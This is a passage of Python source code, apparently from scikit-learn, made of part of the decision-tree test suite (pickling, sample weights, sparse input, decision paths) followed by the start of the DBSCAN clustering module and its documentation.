        else:
            X, y = boston.data, boston.target

        est = TreeEstimator(random_state=0)
        est.fit(X, y)
        score = est.score(X, y)
        fitted_attribute = dict()
        for attribute in ["max_depth", "node_count", "capacity"]:
            fitted_attribute[attribute] = getattr(est.tree_, attribute)

        serialized_object = pickle.dumps(est)
        est2 = pickle.loads(serialized_object)
        assert_equal(type(est2), est.__class__)
        score2 = est2.score(X, y)
        assert_equal(score, score2,
                     "Failed to generate same score  after pickling "
                     "with {0}".format(name))

        for attribute in fitted_attribute:
            assert_equal(getattr(est2.tree_, attribute),
                         fitted_attribute[attribute],
                         "Failed to generate same attribute {0} after "
                         "pickling with {1}".format(attribute, name))



def test_multioutput():
    # Check estimators on multi-output problems.
    X = [[-2, -1],
         [-1, -1],
         [-1, -2],
         [1, 1],
         [1, 2],
         [2, 1],
         [-2, 1],
         [-1, 1],
         [-1, 2],
         [2, -1],
         [1, -1],
         [1, -2]]

    y = [[-1, 0],
         [-1, 0],
         [-1, 0],
         [1, 1],
         [1, 1],
         [1, 1],
         [-1, 2],
         [-1, 2],
         [-1, 2],
         [1, 3],
         [1, 3],
         [1, 3]]

    T = [[-1, -1], [1, 1], [-1, 1], [1, -1]]
    y_true = [[-1, 0], [1, 1], [-1, 2], [1, 3]]

    # toy classification problem
    for name, TreeClassifier in CLF_TREES.items():
        clf = TreeClassifier(random_state=0)
        y_hat = clf.fit(X, y).predict(T)
        assert_array_equal(y_hat, y_true)
        assert_equal(y_hat.shape, (4, 2))

        proba = clf.predict_proba(T)
        assert_equal(len(proba), 2)
        assert_equal(proba[0].shape, (4, 2))
        assert_equal(proba[1].shape, (4, 4))

        log_proba = clf.predict_log_proba(T)
        assert_equal(len(log_proba), 2)
        assert_equal(log_proba[0].shape, (4, 2))
        assert_equal(log_proba[1].shape, (4, 4))

    # toy regression problem
    for name, TreeRegressor in REG_TREES.items():
        reg = TreeRegressor(random_state=0)
        y_hat = reg.fit(X, y).predict(T)
        assert_almost_equal(y_hat, y_true)
        assert_equal(y_hat.shape, (4, 2))


def test_classes_shape():
    # Test that n_classes_ and classes_ have proper shape.
    for name, TreeClassifier in CLF_TREES.items():
        # Classification, single output
        clf = TreeClassifier(random_state=0)
        clf.fit(X, y)

        assert_equal(clf.n_classes_, 2)
        assert_array_equal(clf.classes_, [-1, 1])

        # Classification, multi-output
        _y = np.vstack((y, np.array(y) * 2)).T
        clf = TreeClassifier(random_state=0)
        clf.fit(X, _y)
        assert_equal(len(clf.n_classes_), 2)
        assert_equal(len(clf.classes_), 2)
        assert_array_equal(clf.n_classes_, [2, 2])
        assert_array_equal(clf.classes_, [[-1, 1], [-2, 2]])


def test_unbalanced_iris():
    # Check class rebalancing.
    unbalanced_X = iris.data[:125]
    unbalanced_y = iris.target[:125]
    sample_weight = compute_sample_weight("balanced", unbalanced_y)

    for name, TreeClassifier in CLF_TREES.items():
        clf = TreeClassifier(random_state=0)
        clf.fit(unbalanced_X, unbalanced_y, sample_weight=sample_weight)
        assert_almost_equal(clf.predict(unbalanced_X), unbalanced_y)


def test_memory_layout():
    # Check that it works no matter the memory layout
    for (name, TreeEstimator), dtype in product(ALL_TREES.items(),
                                                [np.float64, np.float32]):
        est = TreeEstimator(random_state=0)

        # Nothing
        X = np.asarray(iris.data, dtype=dtype)
        y = iris.target
        assert_array_equal(est.fit(X, y).predict(X), y)

        # C-order
        X = np.asarray(iris.data, order="C", dtype=dtype)
        y = iris.target
        assert_array_equal(est.fit(X, y).predict(X), y)

        # F-order
        X = np.asarray(iris.data, order="F", dtype=dtype)
        y = iris.target
        assert_array_equal(est.fit(X, y).predict(X), y)

        # Contiguous
        X = np.ascontiguousarray(iris.data, dtype=dtype)
        y = iris.target
        assert_array_equal(est.fit(X, y).predict(X), y)

        if not est.presort:
            # csr matrix
            X = csr_matrix(iris.data, dtype=dtype)
            y = iris.target
            assert_array_equal(est.fit(X, y).predict(X), y)

            # csc_matrix
            X = csc_matrix(iris.data, dtype=dtype)
            y = iris.target
            assert_array_equal(est.fit(X, y).predict(X), y)

        # Strided
        X = np.asarray(iris.data[::3], dtype=dtype)
        y = iris.target[::3]
        assert_array_equal(est.fit(X, y).predict(X), y)


def test_sample_weight():
    # Check sample weighting.
    # Test that zero-weighted samples are not taken into account
    X = np.arange(100)[:, np.newaxis]
    y = np.ones(100)
    y[:50] = 0.0

    sample_weight = np.ones(100)
    sample_weight[y == 0] = 0.0

    clf = DecisionTreeClassifier(random_state=0)
    clf.fit(X, y, sample_weight=sample_weight)
    assert_array_equal(clf.predict(X), np.ones(100))

    # Test that low weighted samples are not taken into account at low depth
    X = np.arange(200)[:, np.newaxis]
    y = np.zeros(200)
    y[50:100] = 1
    y[100:200] = 2
    X[100:200, 0] = 200

    sample_weight = np.ones(200)

    sample_weight[y == 2] = .51  # Samples of class '2' are still weightier
    clf = DecisionTreeClassifier(max_depth=1, random_state=0)
    clf.fit(X, y, sample_weight=sample_weight)
    assert_equal(clf.tree_.threshold[0], 149.5)

    sample_weight[y == 2] = .5  # Samples of class '2' are no longer weightier
    clf = DecisionTreeClassifier(max_depth=1, random_state=0)
    clf.fit(X, y, sample_weight=sample_weight)
    assert_equal(clf.tree_.threshold[0], 49.5)  # Threshold should have moved

    # Test that sample weighting is the same as having duplicates
    X = iris.data
    y = iris.target

    duplicates = rng.randint(0, X.shape[0], 100)

    clf = DecisionTreeClassifier(random_state=1)
    clf.fit(X[duplicates], y[duplicates])

    sample_weight = np.bincount(duplicates, minlength=X.shape[0])
    clf2 = DecisionTreeClassifier(random_state=1)
    clf2.fit(X, y, sample_weight=sample_weight)

    internal = clf.tree_.children_left != tree._tree.TREE_LEAF
    assert_array_almost_equal(clf.tree_.threshold[internal],
                              clf2.tree_.threshold[internal])


def test_sample_weight_invalid():
    # Check sample weighting raises errors.
    X = np.arange(100)[:, np.newaxis]
    y = np.ones(100)
    y[:50] = 0.0

    clf = DecisionTreeClassifier(random_state=0)

    sample_weight = np.random.rand(100, 1)
    assert_raises(ValueError, clf.fit, X, y, sample_weight=sample_weight)

    sample_weight = np.array(0)
    assert_raises(ValueError, clf.fit, X, y, sample_weight=sample_weight)

    sample_weight = np.ones(101)
    assert_raises(ValueError, clf.fit, X, y, sample_weight=sample_weight)

    sample_weight = np.ones(99)
    assert_raises(ValueError, clf.fit, X, y, sample_weight=sample_weight)


def check_class_weights(name):
    """Check class_weights resemble sample_weights behavior."""
    TreeClassifier = CLF_TREES[name]

    # Iris is balanced, so no effect expected for using 'balanced' weights
    clf1 = TreeClassifier(random_state=0)
    clf1.fit(iris.data, iris.target)
    clf2 = TreeClassifier(class_weight='balanced', random_state=0)
    clf2.fit(iris.data, iris.target)
    assert_almost_equal(clf1.feature_importances_, clf2.feature_importances_)

    # Make a multi-output problem with three copies of Iris
    iris_multi = np.vstack((iris.target, iris.target, iris.target)).T
    # Create user-defined weights that should balance over the outputs
    clf3 = TreeClassifier(class_weight=[{0: 2., 1: 2., 2: 1.},
                                        {0: 2., 1: 1., 2: 2.},
                                        {0: 1., 1: 2., 2: 2.}],
                          random_state=0)
    clf3.fit(iris.data, iris_multi)
    assert_almost_equal(clf2.feature_importances_, clf3.feature_importances_)
    # Check against multi-output "auto" which should also have no effect
    clf4 = TreeClassifier(class_weight='balanced', random_state=0)
    clf4.fit(iris.data, iris_multi)
    assert_almost_equal(clf3.feature_importances_, clf4.feature_importances_)

    # Inflate importance of class 1, check against user-defined weights
    sample_weight = np.ones(iris.target.shape)
    sample_weight[iris.target == 1] *= 100
    class_weight = {0: 1., 1: 100., 2: 1.}
    clf1 = TreeClassifier(random_state=0)
    clf1.fit(iris.data, iris.target, sample_weight)
    clf2 = TreeClassifier(class_weight=class_weight, random_state=0)
    clf2.fit(iris.data, iris.target)
    assert_almost_equal(clf1.feature_importances_, clf2.feature_importances_)

    # Check that sample_weight and class_weight are multiplicative
    clf1 = TreeClassifier(random_state=0)
    clf1.fit(iris.data, iris.target, sample_weight ** 2)
    clf2 = TreeClassifier(class_weight=class_weight, random_state=0)
    clf2.fit(iris.data, iris.target, sample_weight)
    assert_almost_equal(clf1.feature_importances_, clf2.feature_importances_)


def test_class_weights():
    for name in CLF_TREES:
        yield check_class_weights, name


def check_class_weight_errors(name):
    # Test if class_weight raises errors and warnings when expected.
    TreeClassifier = CLF_TREES[name]
    _y = np.vstack((y, np.array(y) * 2)).T

    # Invalid preset string
    clf = TreeClassifier(class_weight='the larch', random_state=0)
    assert_raises(ValueError, clf.fit, X, y)
    assert_raises(ValueError, clf.fit, X, _y)

    # Not a list or preset for multi-output
    clf = TreeClassifier(class_weight=1, random_state=0)
    assert_raises(ValueError, clf.fit, X, _y)

    # Incorrect length list for multi-output
    clf = TreeClassifier(class_weight=[{-1: 0.5, 1: 1.}], random_state=0)
    assert_raises(ValueError, clf.fit, X, _y)


def test_class_weight_errors():
    for name in CLF_TREES:
        yield check_class_weight_errors, name


def test_max_leaf_nodes():
    # Test greedy trees with max_depth + 1 leafs.
    from sklearn.tree._tree import TREE_LEAF
    X, y = datasets.make_hastie_10_2(n_samples=100, random_state=1)
    k = 4
    for name, TreeEstimator in ALL_TREES.items():
        est = TreeEstimator(max_depth=None, max_leaf_nodes=k + 1).fit(X, y)
        tree = est.tree_
        assert_equal((tree.children_left == TREE_LEAF).sum(), k + 1)

        # max_leaf_nodes in (0, 1) should raise ValueError
        est = TreeEstimator(max_depth=None, max_leaf_nodes=0)
        assert_raises(ValueError, est.fit, X, y)
        est = TreeEstimator(max_depth=None, max_leaf_nodes=1)
        assert_raises(ValueError, est.fit, X, y)
        est = TreeEstimator(max_depth=None, max_leaf_nodes=0.1)
        assert_raises(ValueError, est.fit, X, y)


def test_max_leaf_nodes_max_depth():
    # Test precedence of max_leaf_nodes over max_depth.
    X, y = datasets.make_hastie_10_2(n_samples=100, random_state=1)
    k = 4
    for name, TreeEstimator in ALL_TREES.items():
        est = TreeEstimator(max_depth=1, max_leaf_nodes=k).fit(X, y)
        tree = est.tree_
        assert_greater(tree.max_depth, 1)


def test_arrays_persist():
    # Ensure property arrays' memory stays alive when tree disappears
    # non-regression for #2726
    for attr in ['n_classes', 'value', 'children_left', 'children_right',
                 'threshold', 'impurity', 'feature', 'n_node_samples']:
        value = getattr(DecisionTreeClassifier().fit([[0], [1]], [0, 1]).tree_, attr)
        # if pointing to freed memory, contents may be arbitrary
        assert_true(-3 <= value.flat[0] < 3,
                    'Array points to arbitrary memory')


def test_only_constant_features():
    random_state = check_random_state(0)
    X = np.zeros((10, 20))
    y = random_state.randint(0, 2, (10, ))
    for name, TreeEstimator in ALL_TREES.items():
        est = TreeEstimator(random_state=0)
        est.fit(X, y)
        assert_equal(est.tree_.max_depth, 0)


def test_with_only_one_non_constant_features():
    X = np.hstack([np.array([[1.], [1.], [0.], [0.]]),
                   np.zeros((4, 1000))])

    y = np.array([0., 1., 0., 1.0])
    for name, TreeEstimator in CLF_TREES.items():
        est = TreeEstimator(random_state=0, max_features=1)
        est.fit(X, y)
        assert_equal(est.tree_.max_depth, 1)
        assert_array_equal(est.predict_proba(X), 0.5 * np.ones((4, 2)))

    for name, TreeEstimator in REG_TREES.items():
        est = TreeEstimator(random_state=0, max_features=1)
        est.fit(X, y)
        assert_equal(est.tree_.max_depth, 1)
        assert_array_equal(est.predict(X), 0.5 * np.ones((4, )))


def test_big_input():
    # Test if the warning for too large inputs is appropriate.
    X = np.repeat(10 ** 40., 4).astype(np.float64).reshape(-1, 1)
    clf = DecisionTreeClassifier()
    try:
        clf.fit(X, [0, 1, 0, 1])
    except ValueError as e:
        assert_in("float32", str(e))


def test_realloc():
    from sklearn.tree._utils import _realloc_test
    assert_raises(MemoryError, _realloc_test)


def test_huge_allocations():
    n_bits = 8 * struct.calcsize("P")

    X = np.random.randn(10, 2)
    y = np.random.randint(0, 2, 10)

    # Sanity check: we cannot request more memory than the size of the address
    # space. Currently raises OverflowError.
    huge = 2 ** (n_bits + 1)
    clf = DecisionTreeClassifier(splitter='best', max_leaf_nodes=huge)
    assert_raises(Exception, clf.fit, X, y)

    # Non-regression test: MemoryError used to be dropped by Cython
    # because of missing "except *".
    huge = 2 ** (n_bits - 1) - 1
    clf = DecisionTreeClassifier(splitter='best', max_leaf_nodes=huge)
    assert_raises(MemoryError, clf.fit, X, y)


def check_sparse_input(tree, dataset, max_depth=None):
    TreeEstimator = ALL_TREES[tree]
    X = DATASETS[dataset]["X"]
    X_sparse = DATASETS[dataset]["X_sparse"]
    y = DATASETS[dataset]["y"]

    # Gain testing time
    if dataset in ["digits", "boston"]:
        n_samples = X.shape[0] // 5
        X = X[:n_samples]
        X_sparse = X_sparse[:n_samples]
        y = y[:n_samples]

    for sparse_format in (csr_matrix, csc_matrix, coo_matrix):
        X_sparse = sparse_format(X_sparse)

        # Check the default (depth first search)
        d = TreeEstimator(random_state=0, max_depth=max_depth).fit(X, y)
        s = TreeEstimator(random_state=0, max_depth=max_depth).fit(X_sparse, y)

        assert_tree_equal(d.tree_, s.tree_,
                          "{0} with dense and sparse format gave different "
                          "trees".format(tree))

        y_pred = d.predict(X)
        if tree in CLF_TREES:
            y_proba = d.predict_proba(X)
            y_log_proba = d.predict_log_proba(X)

        for sparse_matrix in (csr_matrix, csc_matrix, coo_matrix):
            X_sparse_test = sparse_matrix(X_sparse, dtype=np.float32)

            assert_array_almost_equal(s.predict(X_sparse_test), y_pred)

            if tree in CLF_TREES:
                assert_array_almost_equal(s.predict_proba(X_sparse_test),
                                          y_proba)
                assert_array_almost_equal(s.predict_log_proba(X_sparse_test),
                                          y_log_proba)


def test_sparse_input():
    for tree, dataset in product(SPARSE_TREES,
                                 ("clf_small", "toy", "digits", "multilabel",
                                  "sparse-pos", "sparse-neg", "sparse-mix",
                                  "zeros")):
        max_depth = 3 if dataset == "digits" else None
        yield (check_sparse_input, tree, dataset, max_depth)

    # Due to numerical instability of MSE and too strict test, we limit the
    # maximal depth
    for tree, dataset in product(REG_TREES, ["boston", "reg_small"]):
        if tree in SPARSE_TREES:
            yield (check_sparse_input, tree, dataset, 2)


def check_sparse_parameters(tree, dataset):
    TreeEstimator = ALL_TREES[tree]
    X = DATASETS[dataset]["X"]
    X_sparse = DATASETS[dataset]["X_sparse"]
    y = DATASETS[dataset]["y"]

    # Check max_features
    d = TreeEstimator(random_state=0, max_features=1, max_depth=2).fit(X, y)
    s = TreeEstimator(random_state=0, max_features=1,
                      max_depth=2).fit(X_sparse, y)
    assert_tree_equal(d.tree_, s.tree_,
                      "{0} with dense and sparse format gave different "
                      "trees".format(tree))
    assert_array_almost_equal(s.predict(X), d.predict(X))

    # Check min_samples_split
    d = TreeEstimator(random_state=0, max_features=1,
                      min_samples_split=10).fit(X, y)
    s = TreeEstimator(random_state=0, max_features=1,
                      min_samples_split=10).fit(X_sparse, y)
    assert_tree_equal(d.tree_, s.tree_,
                      "{0} with dense and sparse format gave different "
                      "trees".format(tree))
    assert_array_almost_equal(s.predict(X), d.predict(X))

    # Check min_samples_leaf
    d = TreeEstimator(random_state=0,
                      min_samples_leaf=X_sparse.shape[0] // 2).fit(X, y)
    s = TreeEstimator(random_state=0,
                      min_samples_leaf=X_sparse.shape[0] // 2).fit(X_sparse, y)
    assert_tree_equal(d.tree_, s.tree_,
                      "{0} with dense and sparse format gave different "
                      "trees".format(tree))
    assert_array_almost_equal(s.predict(X), d.predict(X))

    # Check best-first search
    d = TreeEstimator(random_state=0, max_leaf_nodes=3).fit(X, y)
    s = TreeEstimator(random_state=0, max_leaf_nodes=3).fit(X_sparse, y)
    assert_tree_equal(d.tree_, s.tree_,
                      "{0} with dense and sparse format gave different "
                      "trees".format(tree))
    assert_array_almost_equal(s.predict(X), d.predict(X))


def test_sparse_parameters():
    for tree, dataset in product(SPARSE_TREES,
                                 ["sparse-pos", "sparse-neg", "sparse-mix",
                                  "zeros"]):
        yield (check_sparse_parameters, tree, dataset)


def check_sparse_criterion(tree, dataset):
    TreeEstimator = ALL_TREES[tree]
    X = DATASETS[dataset]["X"]
    X_sparse = DATASETS[dataset]["X_sparse"]
    y = DATASETS[dataset]["y"]

    # Check various criterion
    CRITERIONS = REG_CRITERIONS if tree in REG_TREES else CLF_CRITERIONS
    for criterion in CRITERIONS:
        d = TreeEstimator(random_state=0, max_depth=3,
                          criterion=criterion).fit(X, y)
        s = TreeEstimator(random_state=0, max_depth=3,
                          criterion=criterion).fit(X_sparse, y)

        assert_tree_equal(d.tree_, s.tree_,
                          "{0} with dense and sparse format gave different "
                          "trees".format(tree))
        assert_array_almost_equal(s.predict(X), d.predict(X))


def test_sparse_criterion():
    for tree, dataset in product(SPARSE_TREES,
                                 ["sparse-pos", "sparse-neg", "sparse-mix",
                                  "zeros"]):
        yield (check_sparse_criterion, tree, dataset)


def check_explicit_sparse_zeros(tree, max_depth=3,
                                n_features=10):
    TreeEstimator = ALL_TREES[tree]

    # n_samples set n_feature to ease construction of a simultaneous
    # construction of a csr and csc matrix
    n_samples = n_features
    samples = np.arange(n_samples)

    # Generate X, y
    random_state = check_random_state(0)
    indices = []
    data = []
    offset = 0
    indptr = [offset]
    for i in range(n_features):
        n_nonzero_i = random_state.binomial(n_samples, 0.5)
        indices_i = random_state.permutation(samples)[:n_nonzero_i]
        indices.append(indices_i)
        data_i = random_state.binomial(3, 0.5, size=(n_nonzero_i, )) - 1
        data.append(data_i)
        offset += n_nonzero_i
        indptr.append(offset)

    indices = np.concatenate(indices)
    data = np.array(np.concatenate(data), dtype=np.float32)
    X_sparse = csc_matrix((data, indices, indptr),
                          shape=(n_samples, n_features))
    X = X_sparse.toarray()
    X_sparse_test = csr_matrix((data, indices, indptr),
                               shape=(n_samples, n_features))
    X_test = X_sparse_test.toarray()
    y = random_state.randint(0, 3, size=(n_samples, ))

    # Ensure that X_sparse_test owns its data, indices and indptr array
    X_sparse_test = X_sparse_test.copy()

    # Ensure that we have explicit zeros
    assert_greater((X_sparse.data == 0.).sum(), 0)
    assert_greater((X_sparse_test.data == 0.).sum(), 0)

    # Perform the comparison
    d = TreeEstimator(random_state=0, max_depth=max_depth).fit(X, y)
    s = TreeEstimator(random_state=0, max_depth=max_depth).fit(X_sparse, y)

    assert_tree_equal(d.tree_, s.tree_,
                      "{0} with dense and sparse format gave different "
                      "trees".format(tree))

    Xs = (X_test, X_sparse_test)
    for X1, X2 in product(Xs, Xs):
        assert_array_almost_equal(s.tree_.apply(X1), d.tree_.apply(X2))
        assert_array_almost_equal(s.apply(X1), d.apply(X2))
        assert_array_almost_equal(s.apply(X1), s.tree_.apply(X1))

        assert_array_almost_equal(s.tree_.decision_path(X1).toarray(),
                                  d.tree_.decision_path(X2).toarray())
        assert_array_almost_equal(s.decision_path(X1).toarray(),
                                  d.decision_path(X2).toarray())
        assert_array_almost_equal(s.decision_path(X1).toarray(),
                                  s.tree_.decision_path(X1).toarray())

        assert_array_almost_equal(s.predict(X1), d.predict(X2))

        if tree in CLF_TREES:
            assert_array_almost_equal(s.predict_proba(X1),
                                      d.predict_proba(X2))


def test_explicit_sparse_zeros():
    for tree in SPARSE_TREES:
        yield (check_explicit_sparse_zeros, tree)


@ignore_warnings
def check_raise_error_on_1d_input(name):
    TreeEstimator = ALL_TREES[name]

    X = iris.data[:, 0].ravel()
    X_2d = iris.data[:, 0].reshape((-1, 1))
    y = iris.target

    assert_raises(ValueError, TreeEstimator(random_state=0).fit, X, y)

    est = TreeEstimator(random_state=0)
    est.fit(X_2d, y)
    assert_raises(ValueError, est.predict, [X])


@ignore_warnings
def test_1d_input():
    for name in ALL_TREES:
        yield check_raise_error_on_1d_input, name


def _check_min_weight_leaf_split_level(TreeEstimator, X, y, sample_weight):
    # Private function to keep pretty printing in nose yielded tests
    est = TreeEstimator(random_state=0)
    est.fit(X, y, sample_weight=sample_weight)
    assert_equal(est.tree_.max_depth, 1)

    est = TreeEstimator(random_state=0, min_weight_fraction_leaf=0.4)
    est.fit(X, y, sample_weight=sample_weight)
    assert_equal(est.tree_.max_depth, 0)


def check_min_weight_leaf_split_level(name):
    TreeEstimator = ALL_TREES[name]

    X = np.array([[0], [0], [0], [0], [1]])
    y = [0, 0, 0, 0, 1]
    sample_weight = [0.2, 0.2, 0.2, 0.2, 0.2]
    _check_min_weight_leaf_split_level(TreeEstimator, X, y, sample_weight)

    if not TreeEstimator().presort:
        _check_min_weight_leaf_split_level(TreeEstimator, csc_matrix(X), y,
                                           sample_weight)


def test_min_weight_leaf_split_level():
    for name in ALL_TREES:
        yield check_min_weight_leaf_split_level, name


def check_public_apply(name):
    X_small32 = X_small.astype(tree._tree.DTYPE)

    est = ALL_TREES[name]()
    est.fit(X_small, y_small)
    assert_array_equal(est.apply(X_small),
                       est.tree_.apply(X_small32))


def check_public_apply_sparse(name):
    X_small32 = csr_matrix(X_small.astype(tree._tree.DTYPE))

    est = ALL_TREES[name]()
    est.fit(X_small, y_small)
    assert_array_equal(est.apply(X_small),
                       est.tree_.apply(X_small32))


def test_public_apply():
    for name in ALL_TREES:
        yield (check_public_apply, name)

    for name in SPARSE_TREES:
        yield (check_public_apply_sparse, name)


def check_presort_sparse(est, X, y):
    assert_raises(ValueError, est.fit, X, y)


def test_presort_sparse():
    ests = (DecisionTreeClassifier(presort=True),
            DecisionTreeRegressor(presort=True))
    sparse_matrices = (csr_matrix, csc_matrix, coo_matrix)

    y, X = datasets.make_multilabel_classification(random_state=0,
                                                   n_samples=50,
                                                   n_features=1,
                                                   n_classes=20)
    y = y[:, 0]

    for est, sparse_matrix in product(ests, sparse_matrices):
        yield check_presort_sparse, est, sparse_matrix(X), y


def test_decision_path_hardcoded():
    X = iris.data
    y = iris.target
    est = DecisionTreeClassifier(random_state=0, max_depth=1).fit(X, y)
    node_indicator = est.decision_path(X[:2]).toarray()
    assert_array_equal(node_indicator, [[1, 1, 0], [1, 0, 1]])


def check_decision_path(name):
    X = iris.data
    y = iris.target
    n_samples = X.shape[0]

    TreeEstimator = ALL_TREES[name]
    est = TreeEstimator(random_state=0, max_depth=2)
    est.fit(X, y)

    node_indicator_csr = est.decision_path(X)
    node_indicator = node_indicator_csr.toarray()
    assert_equal(node_indicator.shape, (n_samples, est.tree_.node_count))

    # Assert that leaves index are correct
    leaves = est.apply(X)
    leave_indicator = [node_indicator[i, j] for i, j in enumerate(leaves)]
    assert_array_almost_equal(leave_indicator, np.ones(shape=n_samples))

    # Ensure only one leave node per sample
    all_leaves = est.tree_.children_left == TREE_LEAF
    assert_array_almost_equal(np.dot(node_indicator, all_leaves),
                              np.ones(shape=n_samples))

    # Ensure max depth is consistent with sum of indicator
    max_depth = node_indicator.sum(axis=1).max()
    assert_less_equal(est.tree_.max_depth, max_depth)


def test_decision_path():
    for name in ALL_TREES:
        yield (check_decision_path, name)


def check_no_sparse_y_support(name):
    X, y = X_multilabel, csr_matrix(y_multilabel)
    TreeEstimator = ALL_TREES[name]
    assert_raises(TypeError, TreeEstimator(random_state=0).fit, X, y)


def test_no_sparse_y_support():
    # Currently we don't support sparse y
    for name in ALL_TREES:
        yield (check_no_sparse_y_support, name)

def test_mae():
    # check MAE criterion produces correct results
    # on small toy dataset
    dt_mae = DecisionTreeRegressor(random_state=0, criterion="mae",
                                   max_leaf_nodes=2)
    dt_mae.fit([[3],[5],[3],[8],[5]],[6,7,3,4,3])
    assert_array_equal(dt_mae.tree_.impurity, [1.4, 1.5, 4.0/3.0])
    assert_array_equal(dt_mae.tree_.value.flat, [4, 4.5, 4.0])

    dt_mae.fit([[3],[5],[3],[8],[5]],[6,7,3,4,3], [0.6,0.3,0.1,1.0,0.3])
    assert_array_equal(dt_mae.tree_.impurity, [7.0/2.3, 3.0/0.7, 4.0/1.6])
    assert_array_equal(dt_mae.tree_.value.flat, [4.0, 6.0, 4.0])






# -*- coding: utf-8 -*-
"""
DBSCAN: Density-Based Spatial Clustering of Applications with Noise
"""

# Author: Robert Layton <robertlayton@gmail.com>
#         Joel Nothman <joel.nothman@gmail.com>
#         Lars Buitinck
#
# License: BSD 3 clause

import numpy as np
from scipy import sparse

from ..base import BaseEstimator, ClusterMixin
from ..utils import check_array, check_consistent_length
from ..utils.fixes import astype
from ..neighbors import NearestNeighbors

from ._dbscan_inner import dbscan_inner


def dbscan(X, eps=0.5, min_samples=5, metric='minkowski',
           algorithm='auto', leaf_size=30, p=2, sample_weight=None, n_jobs=1):
    """Perform DBSCAN clustering from vector array or distance matrix.

    Read more in the :ref:`User Guide <dbscan>`.

    Parameters
    ----------
    X : array or sparse (CSR) matrix of shape (n_samples, n_features), or \
            array of shape (n_samples, n_samples)
        A feature array, or array of distances between samples if
        ``metric='precomputed'``.

    eps : float, optional
        The maximum distance between two samples for them to be considered
        as in the same neighborhood.

    min_samples : int, optional
        The number of samples (or total weight) in a neighborhood for a point
        to be considered as a core point. This includes the point itself.

    metric : string, or callable
        The metric to use when calculating distance between instances in a
        feature array. If metric is a string or callable, it must be one of
        the options allowed by metrics.pairwise.pairwise_distances for its
        metric parameter.
        If metric is "precomputed", X is assumed to be a distance matrix and
        must be square. X may be a sparse matrix, in which case only "nonzero"
        elements may be considered neighbors for DBSCAN.

    algorithm : {'auto', 'ball_tree', 'kd_tree', 'brute'}, optional
        The algorithm to be used by the NearestNeighbors module
        to compute pointwise distances and find nearest neighbors.
        See NearestNeighbors module documentation for details.

    leaf_size : int, optional (default = 30)
        Leaf size passed to BallTree or cKDTree. This can affect the speed
        of the construction and query, as well as the memory required
        to store the tree. The optimal value depends
        on the nature of the problem.

    p : float, optional
        The power of the Minkowski metric to be used to calculate distance
        between points.

    sample_weight : array, shape (n_samples,), optional
        Weight of each sample, such that a sample with a weight of at least
        ``min_samples`` is by itself a core sample; a sample with negative
        weight may inhibit its eps-neighbor from being core.
        Note that weights are absolute, and default to 1.

    n_jobs : int, optional (default = 1)
        The number of parallel jobs to run for neighbors search.
        If ``-1``, then the number of jobs is set to the number of CPU cores.

    Returns
    -------
    core_samples : array [n_core_samples]
        Indices of core samples.

    labels : array [n_samples]
        Cluster labels for each point.  Noisy samples are given the label -1.

    Notes
    -----
    See examples/cluster/plot_dbscan.py for an example.

    This implementation bulk-computes all neighborhood queries, which increases
    the memory complexity to O(n.d) where d is the average number of neighbors,
    while original DBSCAN had memory complexity O(n).

    Sparse neighborhoods can be precomputed using
    :func:`NearestNeighbors.radius_neighbors_graph
    <sklearn.neighbors.NearestNeighbors.radius_neighbors_graph>`
    with ``mode='distance'``.

    References
    ----------
    Ester, M., H. P. Kriegel, J. Sander, and X. Xu, "A Density-Based
    Algorithm for Discovering Clusters in Large Spatial Databases with Noise".
    In: Proceedings of the 2nd International Conference on Knowledge Discovery
    and Data Mining, Portland, OR, AAAI Press, pp. 226-231. 1996
    """
    if not eps > 0.0:
        raise ValueError("eps must be positive.")

    X = check_array(X, accept_sparse='csr')
    if sample_weight is not None:
        sample_weight = np.asarray(sample_weight)
        check_consistent_length(X, sample_weight)

    # Calculate neighborhood for all samples. This leaves the original point
    # in, which needs to be considered later (i.e. point i is in the
    # neighborhood of point i. While True, its useless information)
    if metric == 'precomputed' and sparse.issparse(X):
        neighborhoods = np.empty(X.shape[0], dtype=object)
        X.sum_duplicates()  # XXX: modifies X's internals in-place
        X_mask = X.data <= eps
        masked_indices = astype(X.indices, np.intp, copy=False)[X_mask]
        masked_indptr = np.cumsum(X_mask)[X.indptr[1:] - 1]
        # insert the diagonal: a point is its own neighbor, but 0 distance
        # means absence from sparse matrix data
        masked_indices = np.insert(masked_indices, masked_indptr,
                                   np.arange(X.shape[0]))
        masked_indptr = masked_indptr[:-1] + np.arange(1, X.shape[0])
        # split into rows
        neighborhoods[:] = np.split(masked_indices, masked_indptr)
    else:
        neighbors_model = NearestNeighbors(radius=eps, algorithm=algorithm,
                                           leaf_size=leaf_size,
                                           metric=metric, p=p,
                                           n_jobs=n_jobs)
        neighbors_model.fit(X)
        # This has worst case O(n^2) memory complexity
        neighborhoods = neighbors_model.radius_neighbors(X, eps,
                                                         return_distance=False)

    if sample_weight is None:
        n_neighbors = np.array([len(neighbors)
                                for neighbors in neighborhoods])
    else:
        n_neighbors = np.array([np.sum(sample_weight[neighbors])
                                for neighbors in neighborhoods])

    # Initially, all samples are noise.
    labels = -np.ones(X.shape[0], dtype=np.intp)

    # A list of all core samples found.
    core_samples = np.asarray(n_neighbors >= min_samples, dtype=np.uint8)
    dbscan_inner(core_samples, neighborhoods, labels)
    return np.where(core_samples)[0], labels


class DBSCAN(BaseEstimator, ClusterMixin):
    """Perform DBSCAN clustering from vector array or distance matrix.

    DBSCAN - Density-Based Spatial Clustering of Applications with Noise.
    Finds core samples of high density and expands clusters from them.
    Good for data which contains clusters of similar density.

    Read more in the :ref:`User Guide <dbscan>`.

    Parameters
    ----------
    eps : float, optional
        The maximum distance between two samples for them to be considered
        as in the same neighborhood.

    min_samples : int, optional
        The number of samples (or total weight) in a neighborhood for a point
        to be considered as a core point. This includes the point itself.

    metric : string, or callable
        The metric to use when calculating distance between instances in a
        feature array. If metric is a string or callable, it must be one of
        the options allowed by metrics.pairwise.calculate_distance for its
        metric parameter.
        If metric is "precomputed", X is assumed to be a distance matrix and
        must be square. X may be a sparse matrix, in which case only "nonzero"
        elements may be considered neighbors for DBSCAN.

        .. versionadded:: 0.17
           metric *precomputed* to accept precomputed sparse matrix.

    algorithm : {'auto', 'ball_tree', 'kd_tree', 'brute'}, optional
        The algorithm to be used by the NearestNeighbors module
        to compute pointwise distances and find nearest neighbors.
        See NearestNeighbors module documentation for details.

    leaf_size : int, optional (default = 30)
        Leaf size passed to BallTree or cKDTree. This can affect the speed
        of the construction and query, as well as the memory required
        to store the tree. The optimal value depends
        on the nature of the problem.

    p : float, optional
        The power of the Minkowski metric to be used to calculate distance
        between points.

    n_jobs : int, optional (default = 1)
